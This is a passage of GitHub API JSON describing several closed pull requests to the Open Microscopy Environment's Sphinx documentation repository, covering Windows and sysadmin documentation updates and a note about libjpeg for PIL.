created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"e38561d11128664793c359e81a32be0059a76088","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/210/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/210"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/210"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/210"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/210/comments"}},"title":"Update Windows docs (see #10095) (rebased onto develop)","state":"closed","number":210,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/210","head":{"user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"label":"bpindelski:rebased/develop/admin-docs-win","repo":{"forks":1,"svn_url":"https://github.com/bpindelski/ome-documentation","merges_url":"https://api.github.com/repos/bpindelski/ome-documentation/merges","languages_url":"https://api.github.com/repos/bpindelski/ome-documentation/languages","assignees_url":"https://api.github.com/repos/bpindelski/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/bpindelski/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/bpindelski/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"open_issues":0,"updated_at":"2013-01-22T10:13:55Z","milestones_url":"https://api.github.com/repos/bpindelski/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/bpindelski/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/bpindelski/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/bpindelski/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/bpindelski/ome-documentation/events","notifications_url":"https://api.github.com/repos/bpindelski/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/bpindelski/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/bpindelski/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/bpindelski/ome-documentation/collaborators{/collaborator}","full_name":"bpindelski/ome-documentation","ssh_url":"git@github.com:bpindelski/ome-documentation.git","pulls_url":"https://api.github.com/repos/bpindelski/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":1,"subscription_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscription","teams_url":"https://api.github.com/repos/bpindelski/ome-documentation/teams","watchers":0,"created_at":"2012-08-14T09:55:03Z","git_url":"git://github.com/bpindelski/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/bpindelski/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/bpindelski/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/bpindelski/ome-documentation/keys{/key_id}","size":280,"compare_url":"https://api.github.com/repos/bpindelski/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/bpindelski/ome-documentation/hooks","fork":true,"html_url":"https://github.com/bpindelski/ome-documentation","clone_url":"https://github.com/bpindelski/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/bpindelski/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/events{/number}","private":false,"id":5411049,"pushed_at":"2013-01-22T10:13:53Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/bpindelski/ome-documentation/forks"},"sha":"8003e6d2fb8f85158f922610170ac19d853405d8","ref":"rebased/develop/admin-docs-win"},"assignee":null,"updated_at":"2013-01-16T19:32:02Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/210/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/210/commits","closed_at":"2013-01-16T19:32:01Z","user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/210","merged_at":"2013-01-16T19:32:01Z","merge_commit_sha":"9b59862600af4389965d0c3ed7f56321dec584f7","created_at":"2013-01-15T09:55:22Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/210/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/210.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/210","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-198 but rebased onto develop.\n\n----\n\nUpdate the output listing of ``bin\\omero admin diagnostics`` and remove any dependency on ``sc.exe`` or ``ntrights.exe``.\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/210.diff","id":3678632,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"0e53556a3e4e6e83d664c7207da8551a2bcba14d","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/209/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/209"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/209"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/209"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/209/comments"}},"title":"Sysadmin docs tidy","state":"closed","number":209,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/209","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:sysadmin-docs-tidy","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"398b9c495391d6bcb843fe251f9926538417b943","ref":"sysadmin-docs-tidy"},"assignee":null,"updated_at":"2013-01-17T08:45:49Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/209/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/209/commits","closed_at":"2013-01-17T08:45:49Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/209","merged_at":"2013-01-17T08:45:49Z","merge_commit_sha":"8b2ecbc547508255347bbcaf4b6fa19b02c3c00b","created_at":"2013-01-14T16:10:35Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/209/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/209.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/209","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"Fixing an issue spotted by Kenny and then tidying sysadmin docs re: formatting and style rules.\r\nAlso see ticket 10114","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/209.diff","id":3665632,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"698b93efc8c0eaa45be01d95e07856447d3faeaf","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/208/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/208"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/208"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/208"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/208/comments"}},"title":"Add note about libjpeg for PIL (rebased onto dev_4_4)","state":"closed","number":208,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/208","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:rebased/dev_4_4/develop","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn